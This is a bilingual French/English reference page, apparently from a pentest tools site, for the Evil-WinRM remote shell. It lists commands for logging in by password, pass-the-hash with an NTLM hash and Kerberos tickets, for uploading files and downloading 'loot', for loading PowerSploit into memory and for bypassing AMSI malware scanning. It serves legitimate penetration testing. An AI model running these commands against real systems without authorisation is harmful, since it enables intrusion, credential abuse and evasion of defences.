retour aux outils back to tools Ducklings

Evil-WinRM

Shell WinRM complet pour les tests d'intrusion. Prend en charge le pass-the-hash, le pass-the-ticket, le SSL, le transfert de fichiers, et le PowerShell remoting. Full-featured WinRM shell for pentesting. Supports pass-the-hash, pass-the-ticket, SSL, file transfer, and PowerShell remoting.

↗ https://github.com/Hackplayers/evil-winrm

Overview

Evil-WinRM provides an interactive shell via Windows Remote Management (WinRM / port 5985/5986). It adds pentest-specific features: pass-the-hash, Kerberos tickets, SSL, in-memory script loading, and file upload/download — making it far more useful than a raw PSRemoting session.

Connection Methods

Password authentication

evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1'

Pass-the-hash (NTLM)

evil-winrm -i 10.10.10.1 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

SSL (port 5986)

evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1' -S

With custom SSL certificate

evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1' -S -c cert.pem -k key.pem
# Kerberos (requires valid ccache)
export KRB5CCNAME=/tmp/admin.ccache
evil-winrm -i dc01.domain.local -r domain.local

Specify port

evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1' -P 5985

File Transfer

Upload a file

*Evil-WinRM* PS> upload /local/path/file.exe C:\Windows\Temp\file.exe

Download a file

*Evil-WinRM* PS> download C:\Windows\Temp\loot.txt /local/path/loot.txt

In-Memory Script Loading

Load PowerShell scripts into memory (auto-imported on connect)

evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1' -s /opt/PowerSploit/Recon/

Within the shell, call functions from loaded scripts

*Evil-WinRM* PS> PowerView\Get-DomainUser

Useful In-Shell Features

# Show available menus
*Evil-WinRM* PS> menu

# Bypass AMSI (anti-malware scanning)
*Evil-WinRM* PS> Bypass-4MSI

# Run executables directly from memory
*Evil-WinRM* PS> Invoke-Binary /local/path/binary.exe arg1 arg2

# Enable logging
*Evil-WinRM* PS> services  # Built-in enumeration commands

Tips

  • WinRM is enabled by default on Windows Server 2012+; may need enabling on workstations
  • Pass-the-hash works without Kerberos, so no /etc/hosts or DNS config required
  • Use -s to point to a directory of .ps1 files that get auto-imported
  • If AMSI blocks your scripts, run Bypass-4MSI first
Help / Man page 
evil-winrm [options]

Connection:
  -i IP/HOST        Target IP or hostname
  -u USER           Username
  -p PASSWORD       Password
  -H HASH           NTLM hash (LM:NT or just NT)
  -P PORT           WinRM port (default: 5985)
  -r REALM          Kerberos realm (domain)
  -S                Enable SSL (port 5986)
  -c CERTIFICATE    SSL certificate path
  -k KEY            SSL key path

Features:
  -s SCRIPTS        PowerShell scripts directory
  -e EXECUTABLES    Executables directory (for Invoke-Binary)
  -l LOG            Enable logging to file
  -n                Disable colors
  -N                Disable history

Environment:
  KRB5CCNAME        Path to Kerberos ccache file

Vue d’ensemble

Evil-WinRM fournit un shell interactif via Windows Remote Management (WinRM / port 5985/5986). Il ajoute des fonctionnalités spécifiques au pentest : pass-the-hash, tickets Kerberos, SSL, chargement de scripts en mémoire, et upload/download de fichiers, ce qui le rend bien plus utile qu’une session PSRemoting brute.

Méthodes de connexion

# Authentification par mot de passe
evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1'

# Pass-the-hash (NTLM)
evil-winrm -i 10.10.10.1 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

# SSL (port 5986)
evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1' -S

# Avec un certificat SSL personnalisé
evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1' -S -c cert.pem -k key.pem
# Kerberos (nécessite un ccache valide)
export KRB5CCNAME=/tmp/admin.ccache
evil-winrm -i dc01.domain.local -r domain.local

Spécifier le port

evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1' -P 5985

Transfert de fichiers

Envoyer un fichier

*Evil-WinRM* PS> upload /local/path/file.exe C:\Windows\Temp\file.exe

Télécharger un fichier

*Evil-WinRM* PS> download C:\Windows\Temp\loot.txt /local/path/loot.txt

Chargement de scripts en mémoire

Charger des scripts PowerShell en mémoire (auto-importés à la connexion)

evil-winrm -i 10.10.10.1 -u Administrator -p 'Password1' -s /opt/PowerSploit/Recon/

Depuis le shell, appeler des fonctions issues des scripts chargés

*Evil-WinRM* PS> PowerView\Get-DomainUser

Fonctionnalités utiles dans le shell

# Afficher les menus disponibles
*Evil-WinRM* PS> menu

# Contourner l'AMSI (analyse anti-malware)
*Evil-WinRM* PS> Bypass-4MSI

# Exécuter des exécutables directement depuis la mémoire
*Evil-WinRM* PS> Invoke-Binary /local/path/binary.exe arg1 arg2

# Activer la journalisation
*Evil-WinRM* PS> services  # Commandes d'énumération intégrées

Conseils

  • WinRM est activé par défaut sur Windows Server 2012+ ; il peut nécessiter une activation sur les postes de travail
  • Le pass-the-hash fonctionne sans Kerberos, donc aucune configuration /etc/hosts ou DNS n’est requise
  • Utilisez -s pour pointer vers un répertoire de fichiers .ps1 qui seront auto-importés
  • Si l’AMSI bloque vos scripts, lancez d’abord Bypass-4MSI
Aide / Page de manuel 
evil-winrm [options]

Connection:
  -i IP/HOST        Target IP or hostname
  -u USER           Username
  -p PASSWORD       Password
  -H HASH           NTLM hash (LM:NT or just NT)
  -P PORT           WinRM port (default: 5985)
  -r REALM          Kerberos realm (domain)
  -S                Enable SSL (port 5986)
  -c CERTIFICATE    SSL certificate path
  -k KEY            SSL key path

Features:
  -s SCRIPTS        PowerShell scripts directory
  -e EXECUTABLES    Executables directory (for Invoke-Binary)
  -l LOG            Enable logging to file
  -n                Disable colors
  -N                Disable history

Environment:
  KRB5CCNAME        Path to Kerberos ccache file